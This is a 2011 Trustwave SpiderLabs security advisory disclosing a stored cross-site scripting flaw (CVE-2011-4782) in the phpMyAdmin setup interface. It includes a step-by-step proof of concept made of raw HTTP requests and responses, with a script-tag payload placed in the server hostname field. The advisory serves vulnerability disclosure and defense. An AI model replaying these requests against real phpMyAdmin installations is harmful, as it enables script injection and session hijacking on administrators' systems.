Trustwave's SpiderLabs Security Advisory TWSL2011-019: Cross-Site Scripting Vulnerability in phpMyAdmin https://www.trustwave.com/spiderlabs/advisories/TWSL2011-019.txt Published: 12/22/11 Version: 1.0 Vendor: phpMyAdmin (http://www.phpmyadmin.net/) Product: phpMyAdmin Version affected: 3.4.8 and prior Product description: An open source tool developed in PHP to manage and administer MySQL databases remotely. The web browser interface allows creating, modifying or deleting databases, tables, fields or rows, executing SQL statements, and other database functions. Credit: Jason Leyrer of Trustwave SpiderLabs Finding 1: Cross-Site Scripting (XSS) Vulnerability in Setup Interface CVE: CVE-2011-4782 Affected versions of phpMyAdmin do not sanitize user-supplied server names before displaying them in its Setup Overview. This allows remote attackers to execute arbitrary web scripts or HTML via a crafted request. phpMyAdmin allows users to add database servers via its Setup interface. Since phpMyAdmin doesn't do any input validation on server hostnames when they are entered, it is up to whatever displays these names throughout the application to use htmlspecialchars() (or similar) to sanitize them. phpMyAdmin uses a function called perform_config_checks() to perform a series of compatibility, security and consistency checks on application configuration options. If it finds settings that are contrary to best practices, perform_config_checks() generates messages to be displayed to users at the top of the Setup Overview page. The messages generated for some of these configuration options ($cfg['Servers'][$i]['ssl'], $cfg['Servers'][$i]['extension'], $cfg['Servers'][$i]['auth_type'], $cfg['Servers'][$i]['AllowRoot'], and $cfg['Servers'][$i]['AllowNoPassword']) are constructed using user-supplied hostnames without any sanitization taking place. This can lead to web script being executed when the Setup Overview page is loaded. The following is a Proof of Concept (PoC): 1. Request the Setup interface's index page in order to obtain the phpMyAdmin cookie and the value of 'token', which appears in the response body: Request ------- GET /phpmyadmin/setup/index.php HTTP/1.1 Response -------- HTTP/1.1 200 OK Date: Thu, 01 Dec 2011 16:42:17 GMT Server: Apache/2.2.20 (Ubuntu) X-Powered-By: PHP/5.3.6-13ubuntu3.2 Set-Cookie: phpMyAdmin=12l6mt8qnlme3o673h75fuj5a6qijnvf; path=/phpmyadmin/setup/; HttpOnly Expires: Thu, 01 Dec 2011 16:42:17 GMT Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0 Last-Modified: Thu, 01 Dec 2011 16:42:17 GMT Set-Cookie: pma_lang=en; expires=Sat, 31-Dec-2011 16:42:17 GMT; path=/phpmyadmin/setup/; httponly X-Frame-Options: SAMEORIGIN X-Content-Security-Policy: allow 'self'; options inline-script eval-script; frame-ancestors 'self'; img-src 'self' data:; script-src 'self' www.phpmyadmin.net Pragma: no-cache Vary: Accept-Encoding Content-Length: 7722 Content-Type: text/html; charset=utf-8 ---snip--- 2. Input javascript (%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E) to the 'Servers-0-host' input field in Add New Server mode, as shown in the postdata of the following request: Request ------- POST /phpmyadmin/setup/index.php?phpMyAdmin=12l6mt8qnlme3o673h75fuj5a6qijnvf&tab_hash=&check_page_refresh=1&lang=en&collation_connection=utf8_general_ci&token=5acce3a965bbe9d42ce50bdf3d491ed9&page=servers&mode=add&submit=New+server HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://A.B.C.D/phpmyadmin/setup/index.php?phpMyAdmin=12l6mt8qnlme3o673h75fuj5a6qijnvf&tab_hash=&check_page_refresh=1&lang=en&collation_connection=utf8_general_ci&token=5acce3a965bbe9d42ce50bdf3d491ed9&page=servers&mode=add&submit=New+server Cookie: phpMyAdmin=12l6mt8qnlme3o673h75fuj5a6qijnvf; pma_lang=en Content-Type: application/x-www-form-urlencoded Content-Length: 1430 tab_hash=&check_page_refresh=1&collation_connection=utf8_general_ci&token=5acce3a965bbe9d42ce50bdf3d491ed9&Servers-0-verbose=&Servers-0-host=%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E&Servers-0-port=&Servers-0-socket=&Servers-0-connect_type=tcp&Servers-0-extension=mysqli&submit_save=Save&Servers-0-auth_type=cookie&Servers-0-user=root&Servers-0-password=&Servers-0-auth_swekey_config=&Servers-0-auth_http_realm=&Servers-0-SignonSession=&Servers-0-SignonURL=&Servers-0-LogoutURL=&Servers-0-only_db=&Servers-0-only_db-userprefs-allow=on&Servers-0-hide_db=&Servers-0-hide_db-userprefs-allow=on&Servers-0-AllowRoot=on&Servers-0-DisableIS=on&Servers-0-AllowDeny-order=&Servers-0-AllowDeny-rules=&Servers-0-ShowDatabasesCommand=SHOW+DATABASES&Servers-0-pmadb=&Servers-0-controluser=&Servers-0-controlpass=&Servers-0-verbose_check=on&Servers-0-bookmarktable=&Servers-0-relation=&Servers-0-userconfig=&Servers-0-table_info=&Servers-0-column_info=&Servers-0-history=&Servers-0-tracking=&Ser vers-0-table_coords=&Servers-0-pdf_pages=&Servers-0-designer_coords=&Servers-0-tracking_default_statements=CREATE+TABLE%2CALTER+TABLE%2CDROP+TABLE%2CRENAME+TABLE%2CCREATE+INDEX%2CDROP+INDEX%2CINSERT%2CUPDATE%2CDELETE%2CTRUNCATE%2CREPLACE%2CCREATE+VIEW%2CALTER+VIEW%2CDROP+VIEW%2CCREATE+DATABASE%2CALTER+DATABASE%2CDROP+DATABASE&Servers-0-tracking_add_drop_view=on&Servers-0-tracking_add_drop_table=on&Servers-0-tracking_add_drop_database=on 3. View unsanitized script tags on the Setup overview page: Request ------- GET /phpmyadmin/setup/index.php HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://A.B.C.D/phpmyadmin/setup/index.php?phpMyAdmin=12l6mt8qnlme3o673h75fuj5a6qijnvf&tab_hash=&check_page_refresh=1&lang=en&collation_connection=utf8_general_ci&token=5acce3a965bbe9d42ce50bdf3d491ed9&page=servers&mode=add&submit=New+server Cookie: phpMyAdmin=12l6mt8qnlme3o673h75fuj5a6qijnvf; pma_lang=en Response -------- HTTP/1.1 200 OK Date: Thu, 01 Dec 2011 16:44:18 GMT Server: Apache/2.2.20 (Ubuntu) X-Powered-By: PHP/5.3.6-13ubuntu3.2 Expires: Thu, 01 Dec 2011 16:44:18 GMT Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0 Last-Modified: Thu, 01 Dec 2011 16:44:18 GMT X-Frame-Options: SAMEORIGIN X-Content-Security-Policy: allow 'self'; options inline-script eval-script; frame-ancestors 'self'; img-src 'self' data:; script-src 'self' www.phpmyadmin.net Pragma: no-cache Vary: Accept-Encoding Content-Length: 7852 Content-Type: text/html; charset=utf-8 ---snip---